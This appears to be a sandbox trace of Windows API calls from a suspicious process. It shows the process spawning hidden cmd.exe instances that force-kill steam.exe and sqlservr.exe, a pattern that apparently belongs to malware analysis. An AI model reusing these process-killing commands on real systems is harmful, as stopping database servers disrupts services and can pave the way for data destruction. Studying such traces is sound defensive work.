	[0046.694] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.694] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x125024b8 | out: lpFileInformation=0x125024b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.694] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.694] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12502508 | out: lpFileInformation=0x12502508*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.694] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.694] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12502558 | out: lpFileInformation=0x12502558*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0046.694] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0046.695] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124ee750, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0046.695] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x125025a8 | out: lpFileInformation=0x125025a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0046.695] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124ee820, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.695] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x125025f8 | out: lpFileInformation=0x125025f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0046.695] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8
	[0046.695] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0046.695] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0046.695] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0046.696] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0046.696] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0046.696] GetEnvironmentStringsW () returned 0x7eb348*
	[0046.696] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0046.696] GetCurrentProcess () returned 0xffffffff
	[0046.696] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250c410, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250c410*=0xac) returned 1
	[0046.696] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250c414, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250c414*=0xb8) returned 1
	[0046.696] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250c418, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250c418*=0xbc) returned 1
	[0046.697] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im steam.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124c1400, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im steam.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc4, hThread=0xc0, dwProcessId=0x848, dwThreadId=0xa9c)) returned 1
	[0046.704] CloseHandle (hObject=0xc0) returned 1
	[0046.704] CloseHandle (hObject=0xbc) returned 1
	[0046.705] CloseHandle (hObject=0xb8) returned 1
	[0046.705] CloseHandle (hObject=0xac) returned 1
	[0046.705] CloseHandle (hObject=0xc8) returned 1
	[0046.705] CloseHandle (hObject=0xb4) returned 1
	[0046.705] CloseHandle (hObject=0xb0) returned 1
	[0046.705] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0
	[0047.093] SetEvent (hEvent=0xa8) returned 1
	[0047.093] GetExitCodeProcess (in: hProcess=0xc4, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0047.093] GetProcessTimes (in: hProcess=0xc4, lpCreationTime=0x12510460, lpExitTime=0x12510468, lpKernelTime=0x12510470, lpUserTime=0x12510478 | out: lpCreationTime=0x12510460, lpExitTime=0x12510468, lpKernelTime=0x12510470, lpUserTime=0x12510478) returned 1
	[0047.093] CloseHandle (hObject=0xc4) returned 1
	[0047.093] SetEvent (hEvent=0x80) returned 1
	[0047.093] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0047.106] SetEvent (hEvent=0x80) returned 1
	[0047.106] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e69c0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.107] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6aa8 | out: lpFileInformation=0x124f6aa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.107] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.107] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124f6af8 | out: lpFileInformation=0x124f6af8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.107] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.107] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6b48 | out: lpFileInformation=0x124f6b48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.107] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.107] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124f6b98 | out: lpFileInformation=0x124f6b98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.107] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.107] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124f6be8 | out: lpFileInformation=0x124f6be8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.107] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.107] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x124f6c38 | out: lpFileInformation=0x124f6c38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.107] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.107] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x124f6c88 | out: lpFileInformation=0x124f6c88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.108] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.108] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124f6cd8 | out: lpFileInformation=0x124f6cd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.108] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.108] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124f6d28 | out: lpFileInformation=0x124f6d28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.108] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.108] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124f6d78 | out: lpFileInformation=0x124f6d78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.108] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.108] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124f6dc8 | out: lpFileInformation=0x124f6dc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.108] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.108] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124f6e18 | out: lpFileInformation=0x124f6e18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.108] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.108] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124e6a90, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0047.108] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6e68 | out: lpFileInformation=0x124f6e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0047.108] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e6b60, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.108] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f6eb8 | out: lpFileInformation=0x124f6eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0047.109] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0047.109] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0047.109] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0047.109] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0047.109] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0047.109] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0047.109] GetEnvironmentStringsW () returned 0x7eb348*
	[0047.110] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0047.110] GetCurrentProcess () returned 0xffffffff
	[0047.110] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fead0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fead0*=0xc8) returned 1
	[0047.110] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fead4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fead4*=0xac) returned 1
	[0047.110] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124fead8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124fead8*=0xb8) returned 1
	[0047.110] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im sqlservr.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12522000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im sqlservr.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc0, hThread=0xbc, dwProcessId=0x844, dwThreadId=0xac0)) returned 1
	[0047.118] CloseHandle (hObject=0xbc) returned 1
	[0047.118] CloseHandle (hObject=0xb8) returned 1
	[0047.118] CloseHandle (hObject=0xac) returned 1
	[0047.118] CloseHandle (hObject=0xc8) returned 1
	[0047.118] CloseHandle (hObject=0xc4) returned 1
	[0047.118] CloseHandle (hObject=0xb0) returned 1
	[0047.118] CloseHandle (hObject=0xb4) returned 1
	[0047.118] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xffffffff) returned 0x0
	[0047.478] SetEvent (hEvent=0xa8) returned 1
	[0047.478] GetExitCodeProcess (in: hProcess=0xc0, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0047.478] GetProcessTimes (in: hProcess=0xc0, lpCreationTime=0x12500d60, lpExitTime=0x12500d68, lpKernelTime=0x12500d70, lpUserTime=0x12500d78 | out: lpCreationTime=0x12500d60, lpExitTime=0x12500d68, lpKernelTime=0x12500d70, lpUserTime=0x12500d78) returned 1
	[0047.478] CloseHandle (hObject=0xc0) returned 1
	[0047.479] SetEvent (hEvent=0x80) returned 1
	[0047.479] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0047.489] SetEvent (hEvent=0x80) returned 1
	[0047.489] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124ee8f0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.489] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502648 | out: lpFileInformation=0x12502648*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.489] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0047.489] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12502698 | out: lpFileInformation=0x12502698*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0047.489] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
